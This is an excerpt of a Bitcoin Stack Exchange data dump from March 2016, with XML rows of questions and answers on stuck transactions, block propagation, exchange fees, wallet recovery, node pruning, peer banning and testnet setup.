  <row Id="43221" PostTypeId="2" ParentId="43201" CreationDate="2016-03-06T10:54:17.727" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;check that the address of the recipient is right and valid&lt;/li&gt;&#xA;&lt;li&gt;check transaction id from Circle Pay&lt;/li&gt;&#xA;&lt;li&gt;search for the transaction by its id on &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;if the transaction is confirmed, it's included in the blockchain, otherwise it's still stuck in miners' memorypool and require higer fees &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12049" LastActivityDate="2016-03-06T10:54:17.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43223" PostTypeId="2" ParentId="43213" CreationDate="2016-03-06T14:35:49.233" Score="8" Body="&lt;p&gt;The problem arises from the uneven propagation of information in the network. While the propagation of small blocks is fast, i.e., every miner gets to know a new block approximately at the same time, this is no longer true for large blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Large blocks take a lot of time to be forwarded to every node in the network, since this includes miners, these miners are unaware that there is a new block and they'll continue mining on top of the old parent, i.e., they will work on a competitor of the newly found block. This means that they are actively wasting their computational resources on an obsolete solution if the propagating block gets accepted into the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Big miners are likely to have a better connectivity with the Bitcoin network, resulting in them losing less of their computational time due. This in turn puts small miners at a disadvantage since they are now less competitive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extreme case would be one strong miner, with close to a majority of the computational resources making such big blocks that everybody else learns about its blocks very late, while it already has spent considerable time finding the followup block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The uneven propagation is due to both network latencies and verification times of the block that is being propagated, so this is a compound problem from both slow verifiers and high latency/low bandwidth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more detail see &lt;a href=&quot;http://www.tik.ee.ethz.ch/file/49318d3f56c1d525aabf7fda78b23fc0/P2P2013_041.pdf&quot;&gt;Information Propagation in the Bitcoin Network&lt;/a&gt; (disclosure: I am the author of that paper) and &lt;a href=&quot;http://arxiv.org/abs/1311.0243&quot;&gt;Majority is not Enough: Bitcoin Mining is Vulnerable&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-03-06T14:35:49.233" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="43227" PostTypeId="1" CreationDate="2016-03-06T17:04:25.650" Score="5" ViewCount="7973" Body="&lt;p&gt;&lt;strong&gt;How are fees charged when I initiate a trade?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are they subtracted from my order's volume? Are the fees applied separately from my account's balance? Can I set the currency I want my fees to be charged in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have provided the Answer below, including the information given in a support ticket I sent to Kraken Support.&lt;/p&gt;&#xA;" OwnerUserId="30500" LastEditorUserId="30500" LastEditDate="2017-06-09T07:27:01.530" LastActivityDate="2017-11-15T11:43:56.740" Title="How are Fees Charged at Kraken?" Tags="|exchanges|api|buy-bitcoins|sell-bitcoins|exchange-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43228" PostTypeId="2" ParentId="43227" CreationDate="2016-03-06T17:04:25.650" Score="6" Body="&lt;p&gt;&lt;strong&gt;How are fees charged?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;They are charged in the currency fee set during a trade.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Due to a discreet nature of trade matching process, it's rather tricky to give a definite answer on how each individual fee is applied. However, a good rule of thumb is to choose a fee currency when placing an order, as this is the one in which fee will be subtracted.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Are the fees applied separately from my account's balance? Or are they included in trade costs?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Usually the former is the case - but the latter can occur under certain circumstances:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Normally, fees are NOT included in a trade and are subtracted from the remaining account balance.&lt;/p&gt;&#xA;&lt;p&gt;However, if you quote your order in a chosen fee currency (for example, you Buy 500 EUR worth of XBT in XBT/EUR pair), then fee will be included in an order*.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;*This means: if your account's balance is 500€, you'll be able to buy bitcoins worth 500€ minus transaction fees.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Can I set the currency I want my fees to be charged in? Can I choose to be always charged in a single Currency?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Yes to the first, no to the second.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Fees can be chosen to get applied in either quote or base currency. So if you're trading LTC/XBT, then it's either XBT or LTC. If, however, you're trading XBT/USD, it's either XBT or USD.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;All quotes taken from the Kraken Support Ticket.&lt;/p&gt;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="30500" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2016-06-06T09:19:33.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43229" PostTypeId="2" ParentId="40642" CreationDate="2016-03-06T19:35:52.643" Score="1" Body="&lt;p&gt;Profitable mining is done by fairly few individuals today (unfortunately), and so there is not really much demand for an easily installable mining client. Most professional mining operations likely compile their own mining clients from source, possibly with their own customizations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only demand I could see, which I suspect is your usecase, is to just try mining out for fun. That reason alone hasn't been sufficient enough for someone to spend the time to get a mining client on brew/macports/etc.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2016-03-06T19:35:52.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43230" PostTypeId="2" ParentId="43217" CreationDate="2016-03-06T20:15:34.317" Score="3" Body="&lt;p&gt;MultiBit developer here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to use MultiBit Classic version 0.5.19 available as a download from the site &lt;a href=&quot;https://multibit.org&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org&lt;/a&gt;. This will allow you to open the .key file and synchronise with the block chain to recover all the funds associated with the private keys held in the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have imported the keys, we strongly recommend that you upgrade to a HD wallet. The instructions to do so for MultiBit HD are here: &lt;a href=&quot;https://multibit.org/en/help/hd0.2/how-to-upgrade-from-classic.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/en/help/hd0.2/how-to-upgrade-from-classic.html&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, you download MultiBit HD (the two can sit side by side without interfering with each other) and then spend from Classic into HD. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Always keep hold of your private key files in case someone spends to an old address.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2016-03-06T20:15:34.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43232" PostTypeId="1" CreationDate="2016-03-07T03:35:21.253" Score="3" ViewCount="148" Body="&lt;p&gt;Based on the release note &lt;a href=&quot;https://bitcoincore.org/en/2016/02/23/release-0.12.0/&quot; rel=&quot;nofollow&quot;&gt;https://bitcoincore.org/en/2016/02/23/release-0.12.0/&lt;/a&gt;. Users will be able to run a full node while only storing around 2GB of data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do to enable this feature to reduce storage consumption of my wallet?&lt;/p&gt;&#xA;" OwnerUserId="33068" LastEditorUserId="5406" LastEditDate="2016-03-07T07:08:41.143" LastActivityDate="2016-03-09T20:41:46.657" Title="Does anyone know how to enable &quot;Massively Reduced Disk Usage for Wallets&quot; feature in Bitcoin Core 0.12.0?" Tags="|bitcoin-core|storage|pruning|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2016-03-07T07:08:01.187" ContentLicense="CC BY-SA 3.0" />
  <row Id="43234" PostTypeId="2" ParentId="37496" CreationDate="2016-03-07T04:27:23.460" Score="20" Body="&lt;p&gt;There are more details in the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.12.0/doc/release-notes.md&quot; rel=&quot;noreferrer&quot;&gt;release notes&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;To enable block pruning set &lt;code&gt;prune=&amp;lt;N&amp;gt;&lt;/code&gt; on the command line or in &lt;code&gt;bitcoin.conf&lt;/code&gt;, where N is the number of MiB to allot for raw block &amp;amp; undo data.&lt;/p&gt;&#xA;&lt;p&gt;A value of 0 disables pruning. The minimal value above 0 is 550.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Where 550 is the size in MB you want the node to occupy in your system.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;bitcoin.conf&lt;/code&gt; is in the &lt;a href=&quot;https://bitcoin.stackexchange.com/q/4006/5406&quot;&gt;Bitcoin data directory&lt;/a&gt;, you can create a text file by the name there, if there isn't a &lt;code&gt;bitcoin.conf&lt;/code&gt; yet.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2017-05-26T16:07:07.863" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="43235" PostTypeId="1" CreationDate="2016-03-07T06:24:45.313" Score="1" ViewCount="344" Body="&lt;p&gt;I want to have a Bitcoind node running in Azure. Obviously there are storage requirements from storing the blockchain, so is Bitcoind a candidate for a worker role? Or would I be better off sticking to a VM?&lt;/p&gt;&#xA;" OwnerUserId="33693" LastActivityDate="2016-06-06T12:50:52.043" Title="Bitcoind in a Windows Azure Worker Role" Tags="|bitcoind|windows|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43236" PostTypeId="1" AcceptedAnswerId="43240" CreationDate="2016-03-07T08:50:35.370" Score="3" ViewCount="3605" Body="&lt;p&gt;I cant find this info: How can I ban through CLI a peer connected to my full node?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like how can I do it in the 0.12.0 GUI just with right-click and choosing for how much time I want to ban the peer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tia&lt;/p&gt;&#xA;" OwnerUserId="33695" LastEditorUserId="33695" LastEditDate="2016-03-07T09:03:33.293" LastActivityDate="2016-03-07T12:46:41.240" Title="Manually banning nodes through CLI" Tags="|bitcoind|bitcoin-core|bitcoin-cli|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43237" PostTypeId="5" CreationDate="2016-03-07T10:29:02.437" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-03-07T10:29:02.437" LastActivityDate="2016-03-07T10:29:02.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43238" PostTypeId="4" CreationDate="2016-03-07T10:29:02.437" Score="0" Body="An opcode that allows you to create an unspendable transaction output that stores up to 80 bytes of data." OwnerUserId="5406" LastEditorUserId="38618" LastEditDate="2018-09-27T07:36:53.603" LastActivityDate="2018-09-27T07:36:53.603" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="43239" PostTypeId="1" AcceptedAnswerId="43246" CreationDate="2016-03-07T10:39:45.100" Score="1" ViewCount="572" Body="&lt;p&gt;My friend and I are interested in running some experiments using a blockchain and accordingly we're interested in setting up our own &lt;a href=&quot;https://en.bitcoin.it/wiki/Testnet&quot; rel=&quot;nofollow&quot;&gt;Testnet&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're a bit light on experience, i.e. we've never set up or configured a Testnet environment before, so we're looking for any advice or recommendations on the proper procedure or important implementation details that anyone might be able to offer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From our university we have the ability to have allocated to our project a server, and we've been asked what are the requirements that our project would need- does anyone know what are the necessary specifications? &lt;/p&gt;&#xA;" OwnerUserId="30732" LastEditorUserId="5406" LastEditDate="2016-10-14T17:52:09.887" LastActivityDate="2016-10-14T17:52:09.887" Title="Server requirements &amp; optimal configuration for Testnet" Tags="|blockchain|testnet|regtest|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43240" PostTypeId="2" ParentId="43236" CreationDate="2016-03-07T12:46:41.240" Score="3" Body="&lt;p&gt;As correctly answered here &lt;a href=&quot;https://bitcointalk.org/index.php?topic=1390192.msg14122567#msg14122567&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=1390192.msg14122567#msg14122567&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;setban &quot;ip(/netmask)&quot; &quot;add|remove&quot; (bantime) (absolute)&#xA;&#xA;Attempts add or remove a IP/Subnet from the banned list.&#xA;&#xA;Arguments:&#xA;1. &quot;ip(/netmask)&quot; (string, required) The IP/Subnet (see getpeerinfo for nodes ip) with a optional netmask (default is /32 = single ip)&#xA;2. &quot;command&quot;      (string, required) 'add' to add a IP/Subnet to the list, 'remove' to remove a IP/Subnet from the list&#xA;3. &quot;bantime&quot;      (numeric, optional) time in seconds how long (or until when if [absolute] is set) the ip is banned (0 or empty means using the default time of 24h which can also be overwritten by the -bantime startup argument)&#xA;4. &quot;absolute&quot;     (boolean, optional) If set, the bantime must be a absolute timestamp in seconds since epoch (Jan 1 1970 GMT)&#xA;&#xA;Examples:&#xA;&amp;gt; bitcoin-cli setban &quot;192.168.0.6&quot; &quot;add&quot; 86400&#xA;&amp;gt; bitcoin-cli setban &quot;192.168.0.0/24&quot; &quot;add&quot;&#xA;&amp;gt; curl --user myusername --data-binary '{&quot;jsonrpc&quot;: &quot;1.0&quot;, &quot;id&quot;:&quot;curltest&quot;, &quot;method&quot;: &quot;setban&quot;, &quot;params&quot;: [&quot;192.168.0.6&quot;, &quot;add&quot; 86400] }' -H 'content-type: text/plain;' http://127.0.0.1:8332/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33695" LastActivityDate="2016-03-07T12:46:41.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43241" PostTypeId="2" ParentId="40577" CreationDate="2016-03-07T14:48:26.743" Score="1" Body="&lt;p&gt;The cost consists from two parts.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Cost of hardware&lt;/li&gt;&#xA;&lt;li&gt;Cost of electricity during attack&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The market cost of miner which is not able to mine with profit is... zero. Because it is useless. The problem is only to collect such devices and turn them on for an hour or two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We will see a lot of obsolete hardware for a very cheap price right after the halving the award.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2016-03-07T14:48:26.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43242" PostTypeId="2" ParentId="43214" CreationDate="2016-03-07T15:52:44.737" Score="1" Body="&lt;p&gt;Wallets for the platforms you mentioned work with both the native currency (obviously) and the tokens issued by the platform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The assumption is that &lt;strong&gt;your customers&lt;/strong&gt; will install a wallet on such a platform and create the accounts/addresses which they will use for their transactions.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is this a flaw in these systems or is there an alternative solution to this problem? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would say it is a requirement rather than a flaw; it was by design. The native &lt;em&gt;currency&lt;/em&gt; is not really a currency (and no one, officially, advertises it as such); it is the &lt;em&gt;fuel&lt;/em&gt; that makes the platform tick. If you want to do something with the platform you need to use the &lt;em&gt;tools&lt;/em&gt; that the platform provides. That includes your customers using the platform to send/receive your tokens.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Or what solutions have others come up with thus far?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't see a viable work-around. Either your customers buy some of the platform's native token or you provide a completely centralized system that takes care of that, for your customers, behind the scenes.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastActivityDate="2016-03-07T15:52:44.737" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43243" PostTypeId="2" ParentId="43235" CreationDate="2016-03-07T16:11:05.900" Score="1" Body="&lt;p&gt;I do not see a worker role as a possible candidate primarily because of the complexity involved. Other than storage and unless I am missing something (just used worker roles once in the past) you will also have deployment difficulties, which will have to be repeated with every bitcoin upgrade. I do not see what you will gain using a worker role anyway (in the context of bitcoind). (?) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if the choice is between the two I would say stick with the VM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that Azure also provides an option to easily install a full bitcoin core node using &lt;a href=&quot;https://bitcore.io/&quot; rel=&quot;nofollow&quot;&gt;bitcore&lt;/a&gt; in a CentOS VM. See &lt;a href=&quot;https://azure.microsoft.com/en-us/documentation/templates/bitcore-centos-vm/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; for details; it offers some extras that might interest you.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastEditorUserId="31844" LastEditDate="2016-03-08T11:08:09.293" LastActivityDate="2016-03-08T11:08:09.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43246" PostTypeId="2" ParentId="43239" CreationDate="2016-03-07T20:12:23.073" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;We're a bit light on experience, i.e. we've never set up or configured a Testnet environment before, so we're looking for any advice or recommendations on the proper procedure or important implementation details that anyone might be able to offer.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There's Testnet3 (the current public testnet) and Regtest (a private, locally generated, proof-of-work-less network. If you want to experiment with consensus changes you can't be using the public network because those changes will be rejected. Regtest is good for quickly testing things, and Testnet3 is more real world and has a small number of other network participants. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;From our university we have the ability to have allocated to our project a server, and we've been asked what are the requirements that our project would need- does anyone know what are the necessary specifications?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Ideally you'll have as much capacity as you can, but you'll get away with any modern Intel CPU and a few gigabytes of memory. The more memory you have the more you can allocate to caching (&lt;code&gt;dbcache&lt;/code&gt; defaults to 100MB, but can be set far higher for performance). Testnet is not a great reflection of how the real network operates, the requirements for the full network to run with good performance are higher. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2016-03-07T20:12:23.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43247" PostTypeId="1" CreationDate="2016-03-07T21:48:14.980" Score="2" ViewCount="1227" Body="&lt;p&gt;It is possible to install custom software (another than cgminer) on Antminer hardware? For example on antminer s5?&lt;/p&gt;&#xA;" OwnerUserId="33031" LastEditorUserId="2306" LastEditDate="2016-03-07T21:54:58.707" LastActivityDate="2024-02-28T19:06:55.797" Title="Can I install custom software on an Antminer S5?" Tags="|mining-hardware|antminer|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43248" PostTypeId="1" AcceptedAnswerId="43259" CreationDate="2016-03-08T00:48:01.430" Score="0" ViewCount="419" Body="&lt;p&gt;Sorry but I am fairly new to this. I have qt wallet and have done quite a few transactions, but around Xmas time I placed a few payments that didn't go through. After  checking the web, many said just to wait and the coins will come back. But as it's now been 3 months, is there anything else I can do? Please be basic as I'm not that experienced.&lt;/p&gt;&#xA;" OwnerUserId="33713" LastActivityDate="2016-03-08T16:57:55.360" Title="Unconfirmed transaction for nearly 3 months" Tags="|transactions|" AnswerCount="1" CommentCount="1" ClosedDate="2016-09-21T09:17:32.527" ContentLicense="CC BY-SA 3.0" />
  <row Id="43254" PostTypeId="1" CreationDate="2016-03-08T12:43:46.733" Score="1" ViewCount="171" Body="&lt;p&gt;Please tell me whether there is a simple/lighter version of blockchain, you can install and learn &quot;at home&quot;?&#xA;Link?&#xA;Which implementation blockchain better learning?&lt;/p&gt;&#xA;" OwnerUserId="33730" LastActivityDate="2016-03-14T14:26:34.763" Title="Simple version of blockchain? Blockchain for training" Tags="|blockchain|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43256" PostTypeId="1" CreationDate="2016-03-08T14:07:41.993" Score="1" ViewCount="140" Body="&lt;p&gt;I am doing research on block chain malleability and I want to build my own blockchain prototype / testbed in order to practically see the malleability issues in blockchaining mechanism (like bitcoin). Is there any ideal tool available (esp in Python) which can best serve the purpose. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards &lt;/p&gt;&#xA;" OwnerUserId="33736" LastActivityDate="2016-03-08T15:37:03.203" Title="Blockchain research" Tags="|blockchain|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43257" PostTypeId="2" ParentId="43256" CreationDate="2016-03-08T15:37:03.203" Score="1" Body="&lt;p&gt;You do not need to have private blockchain to investigate malleability issues. You should start with learning ECDSA algorithms and data structures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trust me.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2016-03-08T15:37:03.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43259" PostTypeId="2" ParentId="43248" CreationDate="2016-03-08T16:57:55.360" Score="-1" Body="&lt;p&gt;What you need to do is find the transaction i.d. &#xA;There you will see everything if there is no confirmations after 3 months its just well strange , I think you can look for more answers also in bitcoin forums there are alot of people that can help there nad they answer usually instantly&lt;/p&gt;&#xA;" OwnerUserId="33719" LastActivityDate="2016-03-08T16:57:55.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43260" PostTypeId="1" AcceptedAnswerId="43265" CreationDate="2016-03-08T18:08:23.117" Score="1" ViewCount="97" Body="&lt;p&gt;Many news from one week ago are reporting that transactions take longer to be processed because we are reaching the 1MB limit of the blocksize. Which causes transaction to be buffered, and prioritized depending on fees. &#xA;The news article report that there are tensions between two groups of developper, Bitcoin Classic and Bitcoin Core. One team wishing to augment the block size while the other would rather keep the soft unchanged. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By looking on &lt;a href=&quot;https://tradeblock.com/bitcoin/&quot; rel=&quot;nofollow&quot;&gt;https://tradeblock.com/bitcoin/&lt;/a&gt; it seems that the blocks produced are still under 1MB but the mempool currently reports size of 4.53MB&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has consensus yet been reached regarding the block size ?&#xA;Are we still experiencing trouble ?&#xA;What has been decided ? Where can I get more info ?&lt;/p&gt;&#xA;" OwnerUserId="9198" LastActivityDate="2016-03-09T04:46:35.400" Title="Has consensus been reached regarding the block size?" Tags="|blocksize|mempool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43261" PostTypeId="1" CreationDate="2016-03-08T18:40:30.873" Score="3" ViewCount="217" Body="&lt;p&gt;Has there been any research papers where someone has completed a full security proof model on blockchain / bitcoin ?&lt;/p&gt;&#xA;" OwnerUserId="33742" LastActivityDate="2016-12-13T12:15:43.237" Title="Bitcoin / blockchain security proof" Tags="|blockchain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43263" PostTypeId="1" AcceptedAnswerId="43268" CreationDate="2016-03-08T22:29:41.343" Score="0" ViewCount="128" Body="&lt;p&gt;I am doing a research about comparison between Bitcoin, Litecoin and Ripple (I am thinking about change it to Dogecoin). One of the comparison criteria is privacy. I need some information about that, for example about encryption algorithms that are used in each currency, any help please?&lt;/p&gt;&#xA;" OwnerUserId="33746" LastEditorUserId="5406" LastEditDate="2016-03-09T06:57:12.910" LastActivityDate="2016-10-14T08:05:40.190" Title="Comparison between Bitcoin and other currencies" Tags="|litecoin|ripple|privacy|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43264" PostTypeId="1" AcceptedAnswerId="43274" CreationDate="2016-03-09T00:20:52.163" Score="1" ViewCount="1688" Body="&lt;p&gt;The &lt;a href=&quot;https://blockchain.info/charts/hash-rate&quot; rel=&quot;nofollow&quot;&gt;Bitcoin hash&lt;/a&gt; rate is MASSIVE right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What exactly causes the hashrate to increase?&lt;/p&gt;&#xA;" OwnerUserId="4325" LastEditorUserId="5406" LastEditDate="2016-03-09T10:21:58.597" LastActivityDate="2016-03-09T22:56:45.807" Title="Why is the hashrate getting so high?" Tags="|hash|mining-reward|hashpower|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="43265" PostTypeId="2" ParentId="43260" CreationDate="2016-03-09T04:46:35.400" Score="0" Body="&lt;p&gt;There is and has been huge consensus since the &lt;a href=&quot;http://scalingbitcoin.org&quot; rel=&quot;nofollow&quot;&gt;scalingbitcoin.org&lt;/a&gt; conference in Hong Kong in December 2015 in favor of going with the Segregated Witness solution. SW had been implemented half a year earlier in a side chain but in Hong Kong &lt;a href=&quot;https://youtu.be/fst1IK_mrng&quot; rel=&quot;nofollow&quot;&gt;Peter Wuille&lt;/a&gt; (starts around 35 minutes or later repeated here: &lt;a href=&quot;https://youtu.be/NOYNZB5BCHM&quot; rel=&quot;nofollow&quot;&gt;https://youtu.be/NOYNZB5BCHM&lt;/a&gt; ) announced that a way to smoothly incorporate it into existing Bitcoin (via a Soft Fork) had been found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main goal of SW was to eradicate transaction malleability but it has &lt;a href=&quot;https://bitcoincore.org/en/2016/01/26/segwit-benefits/&quot; rel=&quot;nofollow&quot;&gt;many other advantages&lt;/a&gt;, as well as the nice side effect of making the effective block size larger. To around 1.8MB, although the exact amount depends on the type of transactions people do, it could be more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The finishing touches are being applied to SW in a test network right now, while wallet software is also being updated to make use of SW transactions so their users will enjoy its benefits. Last I heard SW is scheduled to be rolled out in April 2016.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pretty much everyone agrees, including on the opposing team, that SW is a great solution. Unfortunately for political reasons, the classic team have decided to keep spreading untruths and FUD about SW and the Core team. For example that SW is more complex than a straight up doubling of the block size through a Hard Fork or that such a Hard Fork could be rolled out faster. As well as unfounded conspiracy theories about ulterior evil motives of members of the Core team.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fortunately classic is an irrelevantly small group of people who for the most part clearly don't know anything about Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Core has almost unanimous &lt;a href=&quot;https://bitcoincore.org/en/supporters/&quot; rel=&quot;nofollow&quot;&gt;miner and community support&lt;/a&gt; and is streaming ahead with improvements, SW and many others.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-03-09T04:46:35.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43268" PostTypeId="2" ParentId="43263" CreationDate="2016-03-09T05:01:32.620" Score="0" Body="&lt;p&gt;Ripple is a centralized system with Know Your Customer integration (passports and bank accounts etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Litecoin and dogecoin add zero innovation over Bitcoin, let alone in the privacy department.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin itself however does have some exciting privacy enhancing features in store: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://people.xiph.org/~greg/confidential_values.txt&quot; rel=&quot;nofollow&quot;&gt;Confidential Transactions&lt;/a&gt;, which encrypts the amounts in the transactions making them unreadable to anyone but the sender and recipient.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=1377298.0&quot; rel=&quot;nofollow&quot;&gt;Signature Aggregation&lt;/a&gt; makes it much easier to do coinjoin where transactions of multiple people are combined into one so that it becomes harder to identify which bitcoin belonged to whom. And it actually incentives doing this by making combined transactions smaller (cheaper).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-03-09T05:01:32.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43269" PostTypeId="2" ParentId="43201" CreationDate="2016-03-09T07:10:29.993" Score="0" Body="&lt;p&gt;Just lookup his public key on Blockchain.info and see if your payment is there. If it has arrived but is unconfirmed, it may be a symptom of all the trouble lately. Keep in touch with the seller and attempt to contact Circle Pat, they can probably re- send the exact same transaction ( with same ID) if it is stuck.&lt;/p&gt;&#xA;" OwnerUserId="29298" LastEditorUserId="7272" LastEditDate="2019-03-13T10:35:34.390" LastActivityDate="2019-03-13T10:35:34.390" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
